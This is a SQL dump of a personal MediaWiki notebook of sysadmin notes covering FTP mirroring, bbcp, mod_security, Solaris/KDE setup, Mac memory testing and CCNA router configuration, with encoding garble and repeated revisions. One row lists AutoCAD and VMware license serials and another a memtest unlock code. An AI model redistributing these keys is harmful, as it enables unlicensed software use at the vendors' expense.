recursive directories one issue i had was getting mirror to descend into subdirectories this was corrected by adding recurse_hard true and prepending the remote_dir with rather then using a relative path my working sample config was then package my-mirror comment mirror of data from someplace site someplace com remote_user username passive_ftp true recurse_hard true # needed to get subdir contents # where to start pulling files back from remote_dir root_dir #the leading for absolute paths is needed when using recurse_hard above # where to put the files on your machine #local_dir public mirrors ftp some_useful_site com pub local_dir mirror_repo running running running simply run mirror and specify the above config file use -d for verbose debug information to resolve any issues root hoss mirror-2 9 # mirror -d packages someplace com timed out error timed out error timed out error failure at end of remote directory because timed out cannot get remote directory details ldp patch to address the above is available here vsftp config vsftp config vsftp config note this is in etc vsftpd conf your ftp server may have a similar option # you may activate the -r option to the builtin ls this is disabled by # default to avoid remote users being able to cause excessive i o on large # sites however some broken ftp clients such as ncftp and mirror assume # the presence of the -r option so there is a strong case for enabling it #ls_recurse_enable yes '),(384,'bbcp transfer utility',' bbcp is a parallel data transfer utility from stanford linear accelerator center slac which supports some interesting options it can be used to transfer large files and it can break the transfer up into multiple simultaneous streams and resume from interrupted transfers information precompiled binaries and source code are available here some examples showing how to use the utility are here note if transferring from jaguar see the dedicated data transfer node information here building building building i had to compile with gcc 4 1 as 4 3 and 4 5 produce various scope declaration errors such as bbcp_file c 214 error u8e28098cerru8e28099 was not declared in this scope bbcp_file c 214 error u8e28098endlu8e28099 was not declared in this scope bbcp_file c 214 error u8e28098flushu8e28099 was not declared in this scope bbcp_file c 218 error u8e28098cerru8e28099 was not declared in this scope bbcp_file c 218 error u8e28098endlu8e28099 was not declared in this scope bbcp_file c 218 error u8e28098flushu8e28099 was not declared in this scope bbcp_file c 232 error u8e28098sprintfu8e28099 was not declared in this scope i assume this this is due to changes in the header files over time etc it compiled fine with gcc 4 1 on opensuse 11 3 and rhel 4 but not with newer versions of gcc i also noticed the makefile for linux links against libz a however it seems newer versions of zlib-devel only provide libz so this is true for rhel 6 and opensuse 11 3 libz a is still present in rhel 5 linking therefor fails as it can\'t of course find it updating the makefile to use libz so linked fine recursive directories recursive directories recursive directories unlike scp the following will not work to copy directory contents user host bbcp -r -p 2 -v -w 8m -s 16 testtrans target home joe this will error and not transfer the individual files within testtrans the error would be bbcp no such file or directory opening home joe testtrans somefile txt to copy the entire directory not just contents simply use user host bbcp -r -p 2 -v -w 8m -s 16 testtrans target home joe resuming transfers resuming transfers resuming transfers if the first transfer fails you can add the -a option which will check for and skip existing files '),(385,'rdesktop tricks',' tunnel one app tunnel one app tunnel one app run a single app tunneled through rdesktop rather than an entire desktop environment with seamlessrdp connect to console connect to console connect to console don\'t you hate trying to connect and getting no connections left just connect to the console session by adding -c to your rdesktop command '),(386,'cetus source-to-source compiler',' cetus is a a source-to-source compiler infrastructure for c programs this nsf sponsored project is being developed by purdue university the official home page is here openmp to gpu openmp to gpu openmp to gpu one very interesting aspect of cetus is its ability to transform openmp code to cuda c for running on gpus this functionality is still in early development but is included as of the cetus 1 2 1 release which can be downloaded at the above link building cetus cetus is a java utility and compiling is trivial i built it with sun java 1 6 0u22 jdk and antlr 2 7 7 with no issues simply download cetus and modify build sh for the path to the antlr library i ran build bin and the resulting cetus wrapper script was built in the bin directory for information on openmp to cuda options see the file readme omp2gpu included in the release as well as the release notes additional information additional information additional information the release notes reference a number of papers for further information and the cetus documentation site has additional papers and tutorials available '),(387,'kickstart scripting',' send the output of pre and post scripts to the graphical display post --nochroot --interpreter bin sh rxvt -fn fixed -geometry 80x40-5-5 -e bash postinstall sh '),(388,'dnssec tools',' dns sec visualizer great tool developed by sandia national lab which graphically shows the dns sec chain from the root server up firefox plugins dnssec - shows an icon in url next to favicon giving status of dns sec '),(389,'citrix xenapp',' download the cirtix client for the citrix site look under xenapp -- presentation server 4 0 for unix -- linux download and install the icaclient tar gz or rpm requires openmotif '),(390,'modis big data system',' dl580 g7 dl580 g7 quick specs here power specs here hp array configuration utility readme eg hpacucli ctrl all show config detail detail hp array diagnostic utility readme nagios plugin for array config utility check_cciss - hp and compaq smart array hardware status can be found here d2600 arrays d2600 quick specks are here other ups data '),(391,'modu800 security configuration',' mod_security foru800 apache isu800 au800 great tool. there areu800 au800 fewu800 things that might creep upu800 with using itu800 however. manual install install instructions areu800 included. also seeu800 rules rule sets areu800 available from theu800 modsecurity site. anu800 alternative rule setu800 isu800 configserver interface configserver offers au800 mod_security interface foru800 cpanel available frou800 here cpanel peru800 domain control other general cpanel info joomla andu800 mod_sec sometime youu800 need tou800 play around with theu800 mod_rewrite rules inu800 joomla joomla\'su800 .htaccess tou800 getu800 itu800 tou800 play nice with mod_security '),(392,'webserver security tools',' also seeu800 webserver benchmark tools nessus au800 defacto standard vulnerability scanning tool. nikto au800 perl script which analyzes au800 webserver foru800 common vulnerabilities ');
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INSERT INTO `mw_text` VALUES (1,'\'\'\'MediaWiki has been successfully installed.\'\'\'\n\nConsult the [http://meta.wikimedia.org/wiki/Help:Contents User\'s Guide] for information on using the wiki software.\n\n== Getting started ==\n\n* [http://www.mediawiki.org/wiki/Help:Configuration_settings Configuration settings list]\n* [http://www.mediawiki.org/wiki/Help:FAQ MediaWiki FAQ]\n* [http://mail.wikimedia.org/mailman/listinfo/mediawiki-announce MediaWiki release mailing list]','utf-8'),(2,'','utf-8'),(3,'== Installing Solaris on x86 platform ==\n\n\n\n== Adding the KDE Environment ==\n\n\nAfter Solaris is installed with the default Java desktop install KDE as follows:\n\nUse the install CD, select window managers category and select as follows:\n\n\n[[image:KDE_Solaris_install.jpg|frame|center|Figure 3: Solaris Web Start Installer Component Selection Window]]\n\n \n== Integrating KDE as a selectable desktop session ==\n\n\nAfter you have installed all the KDE 3.x files on your system, if you want KDE 3.x integrated into your login screen with other desktop systems like CDE, you also need to execute this script: \n\n /opt/sfw/kde/dtlogin/install-dtlogin\n\nAlso, you need to add /opt/sfw/kde/bin to your PATH environment variable and /opt/sfw/kde/lib to your LD_LIBRARY_PATH environment variable. For example, if you are using c shell as your login shell, you can add the following line to your .cshrc file to add /opt/sfw/kde/bin to your PATH environment variable: \n\nset path = ($path /opt/sfw/kde/bin)\n\nAdd the following line to your .login file to add /opt/sfw/kde/lib to your LD_LIBRARY_PATH environment variable: \n\nsetenv LD_LIBRARY_PATH ${ LD_LIBRARY_PATH}:/opt/sfw/kde/lib\n\nNow you can reboot your system and wait for the login screen to show up.\n\n\n\n== Upgrading KDE to 3.5.5 ==','utf-8'),(4,'\n== MAGICK TRICKS: ==\n\n\nCmd prompt w/ admin rights:\nrunas /user:localmachinename\\administrator cmd \n\n\nManually register a .dll\nregsvr32 \"\\NameOfFile.extension\"','utf-8'),(5,'== Installing Solaris on x86 platform ==\n\nTo configure installed languages:\n\nHave the install CD in the drive. \n\n#localeadm –h #Give help \n\n#localeadm –a nam –d /cdrom/cdrom0\n\nAdds package nam (North America) from directory specified (CDROM)\n\n\nDt Config info\n\n//etc/dt/config is a secondary location\n\n\nKDE 3.4.3 Notes\n\nInstall packages in order per directions\n\nRun the dt login script\n\nBuild the language localization and ensure the four files are in the dt login directory\n\nEnsure en_US-UTF.8 language is installed, or KDE will not show up in dt login screen.\n\n(I did not have to run the runConfigure language localization scripts, once the language files were in the directory and the system language was installed KDE showed up already.)\n\n\nSystem Configuration\n\n#sys-unconfig\n\nAllows you to reconfigure the X and network settings\n\niprb0 is default NIC\n\n\nPath:\n\necho $PATH\n\nFor sh/bash:\nPATH=$PATH:/dir/to/script;export PATH\n\nMay need to add path to directory were you are trying to execute a script in.\n\n\nOwnerships:\n\n\nTo change the mode on a file or directory. I prefer the octal (0-7) format.\n\n r -- read (has value of 4)\n w -- write (has value of 2)\n x -- execute (has value of 1)\n \n rwxrwxrwx chmod 777 filename.\n rw-rw-rw- chmod 666 filename.\n r--r--r-- chmod 444 filename.\n -w--w--w- chmod 020 filename.\n --x--x--x chmod 001 filename.\n --------- chmod 000 filename.\n\nTo make it recursive, use the -R option.\n\ne.g. chmod -R 777 directoryname\n\n\nNetworking:\n\nInterface iprb0\n\nifconfig -l or -a to show all interfaces\n\nJAVA\n\nJAVA_HOME=/usr/java; export JAVA_HOME\n\nResources:\n\nSolariscentral forum\n\n== Adding the KDE Environment ==\n\n\nAfter Solaris is installed with the default Java desktop install KDE as follows:\n\nUse the install CD, select window managers category and select as follows:\n\n\n[[image:KDE_Solaris_install.jpg|frame|center|Figure 3: Solaris Web Start Installer Component Selection Window]]\n\n \n== Integrating KDE as a selectable desktop session ==\n\n\nAfter you have installed all the KDE 3.x files on your system, if you want KDE 3.x integrated into your login screen with other desktop systems like CDE, you also need to execute this script: \n\n /opt/sfw/kde/dtlogin/install-dtlogin\n\nAlso, you need to add /opt/sfw/kde/bin to your PATH environment variable and /opt/sfw/kde/lib to your LD_LIBRARY_PATH environment variable. For example, if you are using c shell as your login shell, you can add the following line to your .cshrc file to add /opt/sfw/kde/bin to your PATH environment variable: \n\nset path = ($path /opt/sfw/kde/bin)\n\nAdd the following line to your .login file to add /opt/sfw/kde/lib to your LD_LIBRARY_PATH environment variable: \n\nsetenv LD_LIBRARY_PATH ${ LD_LIBRARY_PATH}:/opt/sfw/kde/lib\n\nNow you can reboot your system and wait for the login screen to show up.\n\n\n\n== Upgrading KDE to 3.5.5 ==','utf-8'),(6,'','utf-8'),(7,'[[image:SolarisLogo.jpg|center|frame]]\n\n== Installing Solaris on x86 platform ==\n\nTo configure installed languages:\n\nHave the install CD in the drive. \n\n#localeadm –h #Give help \n\n#localeadm –a nam –d /cdrom/cdrom0\n\nAdds package nam (North America) from directory specified (CDROM)\n\n\nDt Config info\n\n//etc/dt/config is a secondary location\n\n\nKDE 3.4.3 Notes\n\nInstall packages in order per directions\n\nRun the dt login script\n\nBuild the language localization and ensure the four files are in the dt login directory\n\nEnsure en_US-UTF.8 language is installed, or KDE will not show up in dt login screen.\n\n(I did not have to run the runConfigure language localization scripts, once the language files were in the directory and the system language was installed KDE showed up already.)\n\n\nSystem Configuration\n\n#sys-unconfig\n\nAllows you to reconfigure the X and network settings\n\niprb0 is default NIC\n\n\nPath:\n\necho $PATH\n\nFor sh/bash:\nPATH=$PATH:/dir/to/script;export PATH\n\nMay need to add path to directory were you are trying to execute a script in.\n\n\nOwnerships:\n\n\nTo change the mode on a file or directory. I prefer the octal (0-7) format.\n\n r -- read (has value of 4)\n w -- write (has value of 2)\n x -- execute (has value of 1)\n \n rwxrwxrwx chmod 777 filename.\n rw-rw-rw- chmod 666 filename.\n r--r--r-- chmod 444 filename.\n -w--w--w- chmod 020 filename.\n --x--x--x chmod 001 filename.\n --------- chmod 000 filename.\n\nTo make it recursive, use the -R option.\n\ne.g. chmod -R 777 directoryname\n\n\nNetworking:\n\nInterface iprb0\n\nifconfig -l or -a to show all interfaces\n\nJAVA\n\nJAVA_HOME=/usr/java; export JAVA_HOME\n\nResources:\n\nSolariscentral forum\n\n== Adding the KDE Environment ==\n\n\nAfter Solaris is installed with the default Java desktop install KDE as follows:\n\nUse the install CD, select window managers category and select as follows:\n\n\n[[image:KDE_Solaris_install.jpg|frame|center|Figure 3: Solaris Web Start Installer Component Selection Window]]\n\n \n== Integrating KDE as a selectable desktop session ==\n\n\nAfter you have installed all the KDE 3.x files on your system, if you want KDE 3.x integrated into your login screen with other desktop systems like CDE, you also need to execute this script: \n\n /opt/sfw/kde/dtlogin/install-dtlogin\n\nAlso, you need to add /opt/sfw/kde/bin to your PATH environment variable and /opt/sfw/kde/lib to your LD_LIBRARY_PATH environment variable. For example, if you are using c shell as your login shell, you can add the following line to your .cshrc file to add /opt/sfw/kde/bin to your PATH environment variable: \n\nset path = ($path /opt/sfw/kde/bin)\n\nAdd the following line to your .login file to add /opt/sfw/kde/lib to your LD_LIBRARY_PATH environment variable: \n\nsetenv LD_LIBRARY_PATH ${ LD_LIBRARY_PATH}:/opt/sfw/kde/lib\n\nNow you can reboot your system and wait for the login screen to show up.\n\n\n\n== Upgrading KDE to 3.5.5 ==','utf-8'),(8,'== BACKGROUND ==\n\n(Originally written for Verizon Field Services technicians.)\n\nMacs often have memory related issues which can be somewhat challenging to diagnose. The Apple Service Diagnostic software as well as the Apple Hardware Test do not have robust memory checking components. As a result these memory tests are not completely reliable and can give a false pass. Without a hardware DIMM / SODIMM tester we have to rely solely on software utilities. A variety of options and running multiple tests is often helpful.\n\nIf non-Apple supplied memory is used in a system Apple’s standard response is that the 3rd party memory is at fault. This will be there stance whenever non-Apple memory is used. This of course does not mean the memory is bad, but rather that they refuse to support it. This again is a case where having multiple methods of testing is favorable.\n\nThe ASD and AHT tests can be run from their respective diagnostic CDs.\n\nIn addition a freeware utility can be run while logged into a Mac in single user mode that will allow testing of the full system memory.\n\nThe homepage for this utility can be found here:\n\nhttp://www.memtestosx.org/\n\n\n\n== INSTALLING: ==\n\n\nThe utility itself is attached here in .zip format. When it is extracted, the following instructions apply:\n\nSimply double-click the memtest disk image and when prompted for the unlock code, enter the following character sequence:\n\nr8j43s03t5vh\n\nPlease note that your download key is CASE SENSITIVE and must be entered exactly as shown. Please print this email for your records. Thanks for supporting the MemtestOSX project!\n\nTony Scaminaci\n\nINSTALLATION (Excerpted from readme)\n\nMemtest uses the standard OS X package installer. Simply double-click on the package file and install it just as you would any other application. The installer will create the \"memtest\" folder in your boot volume\'s Applications folder. Due to some issues with Apple\'s Installer program, I strongly recommend choosing the default install location (current MacOS X boot volume). Note that there are no other components installed - the memtest folder is the sole product of the installer so you can always move the memtest folder elsewhere after installation if desired. \n\n\n\n== INSTRUCTIONS: ==\n\n\nFull instructions can be found in the installation directory (default is boot volume /applications), however the following is excerpted here as it is highly relevant to the use of this utility:\n\n\nRUNNING MEMTEST\nTony Scaminaci\n\nMemtest is best run in OS X\'s single-user mode. In this mode, nearly all of the installed ram can be tested whereas under the full OS, a considerable portion of memory is tied up by OS X processes and the Quartz window manager. This is especially true in MacOS releases later than 10.3.5. Running memtest in single-user mode maximizes the effectiveness of the memory test.\n\nTo boot into single-user mode, hold down the \"Command\" and \"S\" keys during startup. You will be automatically logged in as the user root to a minimal command line environment. Assuming that the memtest folder resides in your Applications folder, a typical invocation of memtest would be the following:\n\n> /Applications/memtest/memtest all 3 -L \n\nThis will run three passes of the test suite, testing all available free memory. The \"-L\" switch instructs memtest to save the transcript of the run to a file named \"memtest.log\". The log file is written to the directory from which you invoked memtest - this is known as the current working directory. Normally, when a terminal window is launched, the working directory is set to /Users/login_name where login_name is the account name you logged in with. Note that when running in single-user mode, you are automatically logged in as the \"root\" user so the default current working directory is /private/var/root.\n\nAlternatively, you could cd into the memtest folder and run the program using the command\n\n> ./memtest all 3 -L \n\nI recommend running at least 3 to 5 passes to obtain the best test coverage of marginal or intermittently failing DIMMs.\n\nTo test less than all of the available free memory, replace the all option with the number of megabytes to test (e.g. 10, 100, 512, etc). The number entered is assumed to be in MB. For example, the command,\n\n> /Applications/memtest/memtest 1150 3 -L \n\nwill test 1150 MB of the installed memory assuming this much is available for testing.\n\nMemtest can also be run from a terminal window in a fully-booted OS X environment (multiuser mode). However, considerably less memory will be free for testing making the results less reliable. Double clicking the memtest icon in the Finder will launch the program with a set of defaults designed to test all available memory in a single pass. Memtest can be immediately terminated at any time by typing the Ctrl-C key combination. This is the standard unix command for quitting programs run from the command line. Note that this key combo also works when memtest is launched from the Finder as long as the key combo is pressed while the terminal window is the front most window.
','utf-8'),(9,'This procedure provides instructions for on how to record a Macro (with or without using variables). A Macro is a term used to describe the recording of key strokes, clicks or data in order to save in a reusable search form without re-entering the information. \n\n1. Logon to the Impact/Remedy User Tool. This is located on most Desktops.\n\n2. Determine which form you want to record the macro against.\n\n3. From the Menu Bar select File then Open. Select the Form you are recording the macro against and click on Search.\n\n4. From the Menu Bar, select Edit then Clear All. This is to ensure that there are no default values that will be recorded as part of the macro.\n\na. From the Menu Bar select View then ensure Macro Bar is check off. When the Macro Bar is displayed you will see a Red Dot icon, a Gray Square icon and a drop down box in your Remedy tool bar. To begin recording your macro, Click the Red dot.\n\n5. To create the search criteria that will be a part of the macro, you can do one of the following;\n\na. Type or select the search criteria in each field that you want to pull data on.\ni. Example: Select the “Assigned to Dept” you wish to search for from the drop down list.\nii. Example: Type your Remedy ID into the “Assigned to Tech” field to pull records assigned to you.\n\nb. Click the Advanced button located in the upper right corner of the screen and the Advanced Search Bar will be displayed on the bottom of the screen. If you use the Advanced Search Bar, you must click on the labels for each field and the label will be placed on the bar to build the search string. This will allow you to search for multiple entries in the same field.\ni. Example: \'Assigned to Dept\' = \"TELECOM-CALIF/IL/TX\" AND \'Assigned to Dept\' = \"TELECOM-NEW YORK\"\n\n6. Once you have build your search argument, Click the search button in the upper right corner or the screen. \n\n7. When the results list is displayed, to stop recording the Macro, Click the green square on the Macro Bar. \n\n8. You will now be prompted to name your macro. In the Macro Name field, enter the name for your macro. You can enter up to 30 characters.\n\n9. In the Help Text field, enter a description of the macro and its functions if you would like to easily identify the function of the macro. \n\n10. Click Save to end the recording session and save the macro. If you want to exit the recording without saving the macro, Click Cancel.','utf-8'),(10,'\n== Sago Linux Notes ==\n\n\n\n== TTY Autologins ==\n\nFreeBSD:\n\nedit /etc/ttys\n\nChange the desired line to and \'autologin\' like:\n\n/dev/ttys7 autologin \n\n\n\nCentOS:\n\nThe supportd service can be installed: yum install supportd\n\nsettings are saved in:\n\n\n\nDebian:','utf-8'),(11,'\'\'\'Welcome to The Lyceum.\'\'\'\n\nThis is a Wiki I\'ve put together essentially as an on-line notebook, to allow me a central repository of notes accumulated in work, through research and to save myself the headache of trying to find the post-a-note, bit of scrap papper or other useless medium I may have written something down on. And I can conveniently access it too, so bonus.\n\nI\'ll be adding and copying information here, focused primarily on IT related fields - Linux, Solaris, Cisco Networking, etc. and likely branching it off into other more esoteric areas as well.\n\nIf you have stumbled upon it - welcome.\n\nCheers,\n\n\n\n\n\n\n\nConsult the [http://meta.wikimedia.org/wiki/Help:Contents User\'s Guide] for information on using the wiki software.\n\n== Getting started ==\n\n* [http://www.mediawiki.org/wiki/Help:Configuration_settings Configuration settings list]\n* [http://www.mediawiki.org/wiki/Help:FAQ MediaWiki FAQ]\n* [http://mail.wikimedia.org/mailman/listinfo/mediawiki-announce MediaWiki release mailing list]','utf-8'),(12,'== Software Keys ==\n\n\'\'\'Autocad:\'\'\'\nAutocad 2000 / 2003 and other Autodesk products master key:\n\n 400-12345678T4ED6P\n 339-25020310\n\n\'\'\'VM-Ware:\'\'\'\n\nWindows:\n\n 99N60-Y6CDP-26LEL-40HLJ\n 99H4M-YDGF2-24LEK-40HTX\n 9CHF4-Y4F62-2DPG6-42Q1H\n 99NFM-Y6AFL-24376-42601\n 930D1-YFC4L-2FLG7-40KAD\n\nLinux:\n\n 9AHDX-YF320-196A6-41598\n 9ANF9-YFQ8J-13326-41430','utf-8'),(13,'[[image:SolarisLogo.jpg|center|frame]]\n\n== Installing Solaris on x86 platform ==\n\nTo configure installed languages:\n\nHave the install CD in the drive. \n\n#localeadm –h #Give help \n\n#localeadm –a nam –d /cdrom/cdrom0\n\nAdds package nam (North America) from directory specified (CDROM)\n\n\nDt Config info\n\n//etc/dt/config is a secondary location\n\n\nKDE 3.4.3 Notes\n\nInstall packages in order per directions\n\nRun the dt login script\n\nBuild the language localization and ensure the four files are in the dt login directory\n\nEnsure en_US-UTF.8 language is installed, or KDE will not show up in dt login screen.\n\n(I did not have to run the runConfigure language localization scripts, once the language files were in the directory and the system language was installed KDE showed up already.)\n\n\nSystem Configuration\n\n#sys-unconfig\n\nAllows you to reconfigure the X and network settings\n\niprb0 is default NIC\n\n\nPath:\n\necho $PATH\n\nFor sh/bash:\nPATH=$PATH:/dir/to/script;export PATH\n\nMay need to add path to directory were you are trying to execute a script in.\n\n\nOwnerships:\n\n\nTo change the mode on a file or directory. I prefer the octal (0-7) format.\n\n r -- read (has value of 4)\n w -- write (has value of 2)\n x -- execute (has value of 1)\n \n rwxrwxrwx chmod 777 filename.\n rw-rw-rw- chmod 666 filename.\n r--r--r-- chmod 444 filename.\n -w--w--w- chmod 020 filename.\n --x--x--x chmod 001 filename.\n --------- chmod 000 filename.\n\nTo make it recursive, use the -R option.\n\ne.g. chmod -R 777 directoryname\n\n\nNetworking:\n\nInterface iprb0\n\nifconfig -l or -a to show all interfaces\n\nJAVA\n\nJAVA_HOME=/usr/java; export JAVA_HOME\n\nResources:\n\nSolariscentral forum\n\n== Network Config ==\n\nhttp://solaris-x86.org/documents/tutorials/network.mhtml\n\nNote: The default shell in the CDE is sh - this will cause keyboard mapping issues with arrow keys, esc key etc. in vi and whatnot. Change shell to bash with /bin/bash instead.\n\n\n\n== Adding the KDE Environment ==\n\n\nAfter Solaris is installed with the default Java desktop install KDE as follows:\n\nUse the install CD, select window managers category and select as follows:\n\n\n[[image:KDE_Solaris_install.jpg|frame|center|Figure 3: Solaris Web Start Installer Component Selection Window]]\n\n== Integrating KDE as a selectable desktop session ==\n\n\nAfter you have installed all the KDE 3.x files on your system, if you want KDE 3.x integrated into your login screen with other desktop systems like CDE, you also need to execute this script: \n\n /opt/sfw/kde/dtlogin/install-dtlogin\n\nAlso, you need to add /opt/sfw/kde/bin to your PATH environment variable and /opt/sfw/kde/lib to your LD_LIBRARY_PATH environment variable. For example, if you are using c shell as your login shell, you can add the following line to your .cshrc file to add /opt/sfw/kde/bin to your PATH environment variable: \n\nset path = ($path /opt/sfw/kde/bin)\n\nAdd the following line to your .login file to add /opt/sfw/kde/lib to your LD_LIBRARY_PATH environment variable: \n\nsetenv LD_LIBRARY_PATH ${ LD_LIBRARY_PATH}:/opt/sfw/kde/lib\n\nNow you can reboot your system and wait for the login screen to show up.\n\n\n\n== Upgrading KDE to 3.5.5 ==','utf-8'),(14,'\n\n\n== CCNA 1 ==\n\nCCNA 1 \n\n\'\'\'Rewiring your POD\'\'\'\n\nErase startup-config clear config in NVRAM\nReload\n\nConfig t\nHostname RouterB\n\nWr to save\n\n\'\'\'Password Recovery\'\'\'\n\nConfig register 0x2102 default value\n\nBits 0,1,2,3 Boot filed (2101 boot IOS ROM, 2102 full IOS (flash))\nBit 6 Ignore NVRAM\n\n0x2142 ignore NVRAM\n\nCtrl – break during post to get to ROM MON\n\n>o Displays current config register\n\n>o/r 0x2142 Set to 2142 hex\n\n>I Initialize\n\nOnce in IOS:\n\nCopy star run copies NVRAM into running config\n\nConfig t\nConfig-register 0x2101\n\nSh run shows current passwords\n\nChange password(s)\n\nCopy run star save modified settings to NVRAM\n\nSh ver verify config register is 0x2102 now\n\nPower off and on (or reload)\n\n\n\'\'\'Initial Router Config\'\'\'\n\nFive passwords:\n\n1.Virtual Terminal\nSh line to view line status or sh session to show current telnet session\n\nLine vty 0 4\nLogin\nPassword < >\n\n2.Console Password\n\nLine con 0\n\n\n3.Auxiliary password\n\nLine aux 0\n\n\n4.Privileged mode – level 15 commands\n\na.Enable password < > Type 7 – weak password\nb.Enable secret < > MD5 \n\n5.Encrypt all passwords:\n\nService password-encrypt\n\n\n\'\'\'Global Config:\'\'\'\n\nEnable\nConfig t\nHostname RouterB\nNo ip domain-lookup (stops IOS searching for a DNS server in case of typos)\nNo exec-timeout (disable telent time out period)\n\n\n\'\'\'Interface config:\'\'\'\n\n(config-if) int s0/0 or int s 0\nIp address 172.16.20.2 255.255.255.0\nBandwidth 56\n\nInt s 0/1\nIp address 172.16.40.1 255.255.255.0\nBandwidth 56\nNo shutdown\n\nShow controllers serial 0/0 to display DCE/DTE status\n\n\'\'\'Clock rate setting:\'\'\'\n\nInt s0/0\nClock rate 56000\nInt s0/1\nClock rate 56000\n\nSh run (review total config)\n\nSh int (status of interfaces)\n\nSh ip int brief (brief status)\n\nNo shutdown to bring an interface administratively up. If an interface is up but the line protocol is down there is a problem with the physical connection of clocking on either the DCE OR DTE side – it could be the other router’s settings.\n\n\'\'\'Clock setting:\'\'\'\n\nClock set 21:30:00 Jan 18 2007\nSh clock\n\n\'\'\'TFTP’ing between routers:\'\'\'\n\nAddress the e0 ports so they are on same lan\nVerify connectivity with ping\nOn router A: show flash (highlight & copy the IOS filename)\nOn router A: tftp-server flash: {IOS filename}\nOn client router(s): copy tftp flash\nWhen prompted, enter IOS filename\n\n\n\'\'\'Configuring DHCP\'\'\'\n\nConfig t\nService dhcp\nIp dhcp pool 10-net (10-net is whatever name you wish)\nNetwork 172.16.0.0 255.255.255.0\nRouter(dhcp-config)# default-router 172.16.x.1\nDns-server 172.16.x.3\nNetbios-name-server 72.16.x.4\nDomain-name xyz.net\nExit\n\nIp dhcp excluded-address 172.16.x.1 172.16.x.10\n(Will cause first ip to be 172.16.x.11\n\n\'\'\'Stopping / starting dhcp:\'\'\'\n\nNo service dhcp\nService dhcp (restarts)\n\n\n\'\'\'Address Resolution Protocol\'\'\'\n\nArp –g displays cache\nArp –s assigns static entry\nArp –d removes entry\n\n\n\'\'\'IP MULTICASTING:\'\'\'\n\nhttp://host50.ipowerweb.com/~netflow/livecaster.exe\nsong.mp3 should be in livecaster folder\nalso freeamp.exe and \n\nVerify you can ping the multicast server\n\nUser network spy and view packets, look for the multicast\n\nIn freeamp, enter in the URL box:\nRtp://:port number\n\n\n== CCNA 2 ==\n\n\nCCNA 2 NOTES:\n\n\n\'\'\'TFTP:\'\'\'\n\nsh flash\n\nTells filename, size, etc. \n\ncopy flash {run} tftp\n\nBooting from TFTP:\n\nRouter(config)#boot system tftp \n\n\'\'\'CDP:\'\'\'\n\nRouterB(config)# int s0\nRouterB(Config-if)#cdp enabled\nRouterB(config-if)#int s1\nRouterB(Config-if)#cdp enabled\n\nsh cdp int #shows status of CDP advertisements on interfaces.\n\nsh cdp neighbors\n\nsh cdp neighbors detail\n\nrouter odr #enables ODR on hub router\n\n\'\'\'Configuring VTY Usernames & PW\'\'\'\n\nrouterB(config)#username admin privilege 15 password guru\n\nConfigure VTY to use a local database rather than password prompt:\n\nRouterB(config)# line vty 0 4\nRouterB(config-line)#no password\nRouterB(config-line)#login local\n\n\'\'\'Creating a new user level and defining access:\'\'\'\n\nRouterB(config)#username support privilage 7 password novice\nRouterB(config)#privilege exec level 7 show star\nRouterB(config)#privilege exec level 7 configure terminal\nRouterB(config)#privilege configure level 7 interface \nRouterB(config)#privilege interface level 7 no shut\n\nshow privileges #show your current privilege level\n\nsh users #shows connected users and lines\n\nclear #bumps that line\n\nctrl-shift-6 +x default escape sequence \n\nRouterB(config-line)#login\nRouterB(config-line)#escape-sequence 27 #sets escape seq. to ASCII 27 (Esc)\n\n\n\'\'\'RIP:\'\'\'\n\nRouterB(config)#router rip\nRouterB(config-router)#version 2 #uses ver. 2, subnetting\nRouterB(config-router)#network 172.16.0.0\n\nsh ip route # views routing tables\n\nsh ip protocol # view info on RIP timers\n\ntracert # view what route to dest is active\n\n\n\'\'\'Static Routes:\'\'\'\n\nAdd static routes for RouterB\n\nip route 172.16.10.1 255.255.255.0 172.16.20.1\nip route 172.16.50.1 255.255.255.0 172.16.40.2\n\nno ip route 172.16.10.1 255.255.255.0 # to remove route\n\n\nfloating static route:\n\nRouterB(config)#ip route 172.16.50.1 255.255.255.0 172.16.50.1 255.255.255.0 130\n\n\n\'\'\'Host Tables:\'\'\'\n\nRouterC(config)#ip host ra 172.16.10.1\nRouterC(config)#ip host rc 172.16.50.1\n\nsh hosts\n\nip name-server #configures DNS server IP\nno ip domain-lookup #disables DNS lookup \n\n\n\'\'\'Alias:\'\'\'\n\nalias exec #privileged mode\nalias configure #Global Config mode\nalias interfaces #interfece config mode\n\nsh aliases\n\nMisc:\n\nsh run | int s0 #greps for that int \nsh run int #shows running config for that int \n\n\n\'\'\'ACLs:\'\'\'\n\n(In real world they don\'t work well when applied to eth in or serial out interfaces.)\n\nExamples:\n\naccess-list 5 permit 172.16.30.1 #defines the rule\nline vty 0 4 #selects interface \naccess-list 5 in #set ACL and direction\n\nsh access list #view ACL parameters\n\naccess-group needs to have an “ip” preface in the command:\nip access-group in\n\nno ip-access list 5 #removes list (if in interface mode only remove it from that interface and not globally.)\n\n\n\n== CCNA 3 ==','utf-8'),(15,'','utf-8'),(16,'[[image:CiscoLogo.jpeg|frame|center]]\n\n== CCNA 1 ==\n\nCCNA 1 \n\n\'\'\'Rewiring your POD\'\'\'\n\nErase startup-config clear config in NVRAM\nReload\n\nConfig t\nHostname RouterB\n\nWr to save\n\n\'\'\'Password Recovery\'\'\'\n\nConfig register 0x2102 default value\n\nBits 0,1,2,3 Boot filed (2101 boot IOS ROM, 2102 full IOS (flash))\nBit 6 Ignore NVRAM\n\n0x2142 ignore NVRAM\n\nCtrl – break during post to get to ROM MON\n\n>o Displays current config register\n\n>o/r 0x2142 Set to 2142 hex\n\n>I Initialize\n\nOnce in IOS:\n\nCopy star run copies NVRAM into running config\n\nConfig t\nConfig-register 0x2101\n\nSh run shows current passwords\n\nChange password(s)\n\nCopy run star save modified settings to NVRAM\n\nSh ver verify config register is 0x2102 now\n\nPower off and on (or reload)\n\n\n\'\'\'Initial Router Config\'\'\'\n\nFive passwords:\n\n1.Virtual Terminal\nSh line to view line status or sh session to show current telnet session\n\nLine vty 0 4\nLogin\nPassword < >\n\n2.Console Password\n\nLine con 0\n\n\n3.Auxiliary password\n\nLine aux 0\n\n\n4.Privileged mode – level 15 commands\n\na.Enable password < > Type 7 – weak password\nb.Enable secret < > MD5 \n\n5.Encrypt all passwords:\n\nService password-encrypt\n\n\n\'\'\'Global Config:\'\'\'\n\nEnable\nConfig t\nHostname RouterB\nNo ip domain-lookup (stops IOS searching for a DNS server in case of typos)\nNo exec-timeout (disable telent time out period)\n\n\n\'\'\'Interface config:\'\'\'\n\n(config-if) int s0/0 or int s 0\nIp address 172.16.20.2 255.255.255.0\nBandwidth 56\n\nInt s 0/1\nIp address 172.16.40.1 255.255.255.0\nBandwidth 56\nNo shutdown\n\nShow controllers serial 0/0 to display DCE/DTE 